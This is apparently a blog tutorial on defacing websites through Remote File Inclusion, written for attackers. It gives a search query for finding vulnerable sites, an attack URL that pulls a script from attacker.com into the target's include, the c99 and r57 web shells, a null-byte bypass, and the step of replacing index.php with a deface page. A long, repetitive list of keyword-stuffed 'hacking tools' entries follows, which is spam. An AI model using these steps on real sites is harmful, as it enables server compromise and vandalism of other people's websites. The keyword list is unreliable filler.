HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.

RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.

As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.

inurl: "index.php?page=home"

At the place of home, you can also try some other pages like products, gallery and etc.

If you already a know RFI vulnerable website, then you don't need to find it through Google.

Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.

http://target.com/index.php?page=home

As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.

http://target.com/index.php?page=http://attacker.com/maliciousScript.txt

I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.

Now, if it's a really vulnerable website, then there would be 3 things that can happen.

1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
3. Successful execution.

As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

More information

1. Hacking Tools For Beginners
2. Hack And Tools
3. Hack Tools 2019
4. Pentest Tools For Mac
5. Hacker Tool Kit
6. Hack Tools For Mac
7. Hack Apps
8. Pentest Tools Open Source
9. Pentest Tools Url Fuzzer
10. Pentest Box Tools Download
11. Hack Tools Pc
12. Hacker Tools Free
13. Hack App
14. Hacker Hardware Tools
15. Hacking Tools For Beginners
16. Hack Tools
17. Pentest Tools Nmap
18. Hacking Tools Software
19. Hack Tools
20. Black Hat Hacker Tools
21. Computer Hacker
22. Pentest Tools
23. Hacking Tools For Windows 7
24. Install Pentest Tools Ubuntu
25. New Hacker Tools
26. How To Install Pentest Tools In Ubuntu
27. Pentest Tools Website Vulnerability
28. Hacking Tools Kit
29. Hacker
30. Pentest Tools For Mac
31. Hacker Tools Online
32. Hacking Tools Windows 10
33. Hacking Tools
34. Hacker Tools For Ios
35. Hacker Tools 2019
36. Pentest Tools Kali Linux
37. Pentest Tools Android
38. Github Hacking Tools
39. Hacking Tools For Windows Free Download
40. Pentest Tools Open Source
41. Kik Hack Tools
42. Tools Used For Hacking
43. Hacker Tools List
44. Hack Tools Download
45. Hack Tools Github
46. Hack Apps
47. Pentest Tools Download
48. Best Pentesting Tools 2018
49. New Hacker Tools
50. Hacking Tools Windows 10
51. Hacking Tools
52. Pentest Tools Website Vulnerability
53. Hacking Tools 2019
54. Hacking Tools And Software
55. Hacking App
56. Usb Pentest Tools
57. Hacker Tools Free
58. Hacking Tools For Windows
59. Hacking Tools Mac
60. Hack Apps
61. Hacker Tools List
62. Hacking Tools Free Download
63. Pentest Tools Nmap
64. Hacker Tools Hardware
65. Pentest Tools Online
66. Hacker Tools Free
67. What Are Hacking Tools
68. Best Hacking Tools 2019
69. Pentest Box Tools Download
70. Hack Tools For Ubuntu
71. Pentest Tools Free
72. Hacker Tools List
73. Hacking Tools For Windows Free Download
74. Hacking Tools 2020
75. Hacking Tools For Windows
76. Hacker Tools Apk
77. Best Pentesting Tools 2018
78. Hack Tools Mac
79. Pentest Tools Android
80. Hacker Tools
81. Install Pentest Tools Ubuntu
82. Hacking Tools Kit
83. Underground Hacker Sites
84. Hacker Tools Linux
85. Pentest Tools Download
86. Kik Hack Tools
87. Hacking Tools
88. Hack Tools Online
89. Hacker Tools Windows
90. Hacker Hardware Tools
91. Hack Rom Tools
92. Hacking Tools For Windows
93. Growth Hacker Tools
94. Hacker Tools Software
95. Pentest Tools Download
96. What Is Hacking Tools
97. Hack Tools Pc
98. Hacker Tools For Mac
99. Hak5 Tools
100. Pentest Tools For Ubuntu
101. Growth Hacker Tools
102. Hack Tools For Mac
103. How To Make Hacking Tools
104. Hacking Tools For Windows 7
105. Top Pentest Tools
106. New Hack Tools
107. Hacker Tools 2019
108. Pentest Tools Website Vulnerability
109. Hacker Tools For Pc
110. Hak5 Tools
111. Pentest Tools For Android
112. How To Make Hacking Tools
113. Hack Tools Download
114. New Hacker Tools
115. Install Pentest Tools Ubuntu
116. Pentest Tools Open Source
117. New Hack Tools
118. Hack Tools For Ubuntu
119. Best Hacking Tools 2019
120. Hacking Tools For Games
121. Pentest Tools For Android
122. Hacker Tools Hardware
123. Pentest Box Tools Download
124. Hacking Tools Kit
125. Game Hacking
126. Underground Hacker Sites
127. Hacking Tools 2020
128. Android Hack Tools Github
129. Pentest Tools Download
130. Hacker Techniques Tools And Incident Handling
131. Hacking Tools
132. Hacking Tools Hardware
133. Pentest Recon Tools
134. Hacking App
135. Hack Tools For Pc
136. Pentest Tools Apk
137. World No 1 Hacker Software
138. Hacks And Tools
139. Pentest Tools Free
140. Hacking Tools For Kali Linux
141. Hacker Tools For Ios
142. Pentest Tools Kali Linux
143. Usb Pentest Tools
144. Hack Tools Mac
145. Pentest Tools For Windows
146. Tools Used For Hacking
147. Pentest Tools Android
148. Hacker
149. Hacker Security Tools
150. Pentest Tools Windows
151. Hacking Tools For Mac
152. Hacking Tools For Games
153. How To Make Hacking Tools
154. Nsa Hack Tools
155. Hack Tools For Ubuntu
156. Nsa Hack Tools
157. Kik Hack Tools
158. New Hack Tools
159. Hacker Tools For Ios
160. Pentest Tools List
161. Hack Tools Pc
162. Pentest Tools Url Fuzzer
163. Underground Hacker Sites
164. Pentest Tools Github
165. Pentest Tools Free
166. What Are Hacking Tools